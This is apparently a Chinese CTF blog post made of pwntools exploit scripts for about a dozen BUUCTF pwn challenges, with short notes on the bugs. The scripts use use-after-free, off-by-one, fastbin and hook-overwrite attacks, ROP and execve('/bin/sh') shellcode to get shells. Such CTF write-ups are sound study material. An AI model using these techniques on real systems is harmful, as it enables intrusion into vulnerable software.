context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25916)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(name, size, content):
    p.sendlineafter(b'choose:', b'1')
    p.sendlineafter(b'name?', name)
    p.sendlineafter(b'len?', str(size))
    p.sendlineafter(b'?', content)
def list_():
    p.sendlineafter(b'choose:', b'2')
def show(index):
    p.sendlineafter(b'choose:', b'3')
    p.sendlineafter(b'item?', str(index))
def free(index):
    p.sendlineafter(b'choose:', b'4')
    p.sendlineafter(b'item?', str(index))

# uaf -> leak libc_base
add(b'\x12', 0x80, b'a') #index 0
add(b'\x34', 0x10, b'bbbbbbbbb') #index 1
free(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x68
print(' libc_base -> ', hex(libc_base))

# free -> system
add(b'\x12', 0x80, b'a') #index 2

add(b'a', 0x20, b'a') #index 3
add(b'a', 0x20, b'a') #index 4
add(b'a', 0x10, b'a') #index 5
free(3)
free(4)

payload = b'/bin/sh;' + b'a'*8 + p64(libc_base + libc.sym['system'])
add(b'a', 0x18, payload) #index 6

# pwn
free(3)
p.interactive()

 bbctf_2020_write

给了栈地址和 libc基址,并且能够容易内存写
这里修改 exit_hook -> one_gadget
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29422)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
    
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym['puts']
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
print(' libc_base -> ', hex(libc_base))

one_gadget = libc_base + 0x4f322
exit_hook = libc_base + 0x619060 + 3848

p.sendlineafter(b'\n', b'w')
p.sendlineafter(b'ptr: ', str(exit_hook))
p.sendlineafter(b'val: ', str(one_gadget))
print(hex(exit_hook), hex(one_gadget))

p.sendlineafter(b'\n', b'q')
p.interactive()

#debug()

 ciscn_2019_c_3

libc-2.27 的 uaf, 但是只能在 user data + 0x10 的地方开始写

这里利用 backdoor 功能来修改 fd 并且使其指向 free_hook ,将其修改为 one_gadget

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27174)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendlineafter(b'Command', b'1')
    p.sendlineafter(b'size:', str(size))
    p.sendlineafter(b'name:', content)
def show(index):
    p.sendlineafter(b'Command', b'2')
    p.sendlineafter(b'index:', str(index))
def free(index):
    p.sendlineafter(b'Command', b'3')
    p.sendlineafter(b'weapon:', str(index))
def backdoor(index):
    p.sendlineafter(b'Command', b'666')
    p.sendlineafter(b'weapon:', str(index))
    
    
# leak libc_base
add(0x100, b'a') #index 0
add(0x100, b'a') #index 1
add(0x100, b'a') #index 2
add(0x60, b'a') #index 3

free(0)
free(1)
free(0)
free(1)
free(0)
free(1)
free(0)

free(2)
show(2)
p.recvuntil(b'imes: ')
libc_base = int(p.recvline()[:-1], 10) - libc.sym['__malloc_hook'] - 0x70
print(' libc_base -> ', hex(libc_base))

# free_hook -> one_gadget
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f322
system = libc_base + libc.sym['system']

add(0x4f, p64(free_hook - 0x10)) #index 4
add(0x4f, b'a') #index 5
free(5)
free(4)
free(5)
for i in range(4):
    backdoor(5)
add(0x4f, b'a') #index 6
add(0x4f, b'a') #index 7
add(0x4f, p64(one_gadget)) #index 8

# pwn
free(6)
p.interactive()

 nsctf_online_2019_pwn2

可以修改 ptr 的最后一字节,并且四个功能齐全
利用这个特点进行 show unsorted bin chunk 来 leak libc_base ,然后进行 fast bin attack
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25194)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def init(name):
    p.sendafter(b'name', name)
def add(size):
    p.sendlineafter(b'exit', b'1')
    p.sendlineafter(b'size', str(size))
def free():
    p.sendlineafter(b'exit', b'2')
def show():
    p.sendlineafter(b'exit', b'3')
def edit_name(name):
    p.sendlineafter(b'exit', b'4')
    p.sendafter(b'name', name)
def edit(content):
    p.sendlineafter(b'exit', b'5')
    p.sendafter(b'note', content)

# leak libc_base
init(b'a')
add(0x80)
add(0x10)
edit_name(b'a'*0x30 + b'\x10')
free()
add(0x60)
edit_name(b'a'*0x30 + b'\x80')
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))

# malloc_hook -> one_gadget
edit_name(b'a'*0x30 + b'\x10')
free()
add(0x80)
edit_name(b'a'*0x30 + b'\x10')

malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(p64(malloc_hook - 0x23))
add(0x60)
add(0x60)
one_gadget = libc_base + 0x4526a
realloc = libc_base + libc.sym['realloc']
edit(b'a'*0xb + p64(one_gadget) + p64(realloc + 8))

# pwn
add(0x10)
p.interactive()

 watevr_2019_voting_machine_1

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29346)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

ret = 0x400656
rdi = 0x4009b3

payload = b'a'*10 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'Vote: ', payload)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym['system']
payload = b'a'*10 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'Vote: ', payload)
p.interactive()
   

 hwb2018_gettingstart

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29777)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

# 0.1 = 0x3FB999999999999A   0x7FFFFFFFFFFFFFFF
payload = b'a'*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
p.sendafter(b'you.', payload)
p.interactive()

 

metasequoia_2020_samsara

libc_2.23 、保护全开、UAF
0
需要满足栈上的 v8 变量为某值,这里 v7 的值是可控的,并且提前得到了 v7 的栈地址,所以令 v7 为 fake chunk 的 size 头,申请 chunk 到栈上即可
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28019)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add():
    p.sendlineafter(b' > ', b'1')
def free(index):
    p.sendlineafter(b' > ', b'2')
    p.sendlineafter(b'Index:', str(index))
def edit(index, content):
    p.sendlineafter(b' > ', b'3')
    p.sendlineafter(b'Index:', str(index))
    p.sendlineafter(b'ient:', content)
def leak():
    p.sendlineafter(b' > ', b'4')
    p.recvuntil(b'0x')
    return int(p.recv(12), 16)
def edit_stack(content):
    p.sendlineafter(b' > ', b'5')
    p.sendlineafter(b'kingdom?', content)
def get_flag():
    p.sendlineafter(b' > ', b'6')

stack = leak()
edit_stack(str(0x21))
add() #index 0
free(0)
edit(0, str(stack - 8))
add() #index 1
add() #index 2
edit(2, str(0xDEADBEEF))

get_flag()
p.recv()

 huxiangbei_2019_hacknote

无保护的静态编译的 libc-2.23 的堆题,存在 off by one 漏洞
0
user data 被填满时,strlen 会把下一个 chunk 的 size 也算上,那么下一次 edit 就能够多写一个以上的字节了,利用这个特点构造堆块重叠,利用 fast bin attack 修改 malloc_hook 为 malloc_hook + 8 ,malloc_hook + 8 填上 shellcode
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26383)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendlineafter(b'-----------------', b'1')
    p.sendlineafter(b'Size:', str(size))
    p.sendlineafter(b'Note:', content)
def free(index):
    p.sendlineafter(b'-----------------', b'2')
    p.sendlineafter(b'Note:', str(index))
def edit(index, content):
    p.sendlineafter(b'-----------------', b'3')
    p.sendlineafter(b'Note:', str(index))
    p.sendlineafter(b'Note:', content)

# off by one
add(0x18, b'a') #index 0
add(0x10, b'a') #index 1
add(0x30, b'a') #index 2
add(0x20, b'a') #index 3
add(0x10, b'a') #index 4
edit(0, b'a'*0x18)
edit(0, b'a'*0x18 + b'\x91')
free(1)
free(2)

# malloc_hook -> shellcode
malloc_hook = 0x6CB788
fake_chunk = malloc_hook - 0x16
add(0x80, p64(0)*3 + p64(0x41) + p64(fake_chunk)) #index 1
shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
payload = b'a'*6 + p64(malloc_hook + 8) + shellcode
add(0x30, b'a') #index 2
add(0x30, payload) #index 5

# pwn
p.sendlineafter(b'-----------------', b'1')
p.sendlineafter(b'Size:', str(0x10))
p.interactive()

 _2018_treasure

 
0
申请两处空间,往 sea + rand 写入 shellcode,清楚原本段上的 shellcode
0
赋予 code 执行权限,写入 9 个字节的 shellcode 然后执行
0
打下断点,发现 rdi = 0, 可以执行 read 的系统调用,调换 rsi 和 rdx 寄存器的位置,就能将 shellcode 写入了,然后 syscall ; call rsi ;
不过这里得用 b'a'*5 填充,可能是为了不覆盖到 call rsi ?
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 28628)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
    
#gdb.attach(p, 'b *0x400Ab6')
p.sendlineafter(b' :', b'y')
payload = asm('xchg rsi, rdx; syscall; call rsi')
p.sendafter(b'!!!!', payload)

sleep(2)
shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
p.sendline(b'a'*5 + shellcode)

p.interactive()

 metasequoia_2020_summoner

记得之前写过类似的题 UAF
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26226)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(name):
    p.sendlineafter(b'> ', b'summon ' + name)
def up(idx):
    p.sendlineafter(b'> ', b'level-up ' + str(idx).encode())
def free():
    p.sendlineafter(b'> ', b'release')
def get_flag():
    p.sendlineafter(b'> ', b'strike')
    
add(b'a'*8 + p64(0x5))
free()
add(b'a')
get_flag()
p.recv()
#debug()

 hctf2018_the_end

0
是 exit_hook -> one_gadget
但是这个 exit_hook 要去特意寻找
from pwn import *
from struct import pack

context(os='linux', arch='amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25874)
elf = ELF('./pwn')
# libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
# libc = ELF('buu/libc-2.23.so')
# libc = ELF('buu/libc-2.23-x64.so')
# libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
# libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
# libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')


def debug():
    gdb.attach(p)
    pause()


# gdb.attach(p, 'b *$rebase(0x95g)')
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym['sleep']
print(' libc_base -> ', hex(libc_base))

exit_hook = libc_base + 0x619060 + 0xf08
one_gadget = libc_base + 0x4f322

for i in range(5):
    p.send(p64(exit_hook + i))
    p.send(p8((one_gadget >> i*8) & 0xFF))

print(hex(libc_base))
p.interactive()

 

 

posted @ 2023-01-03 23:01  xshhc  阅读(264)  评论(2编辑  收藏  举报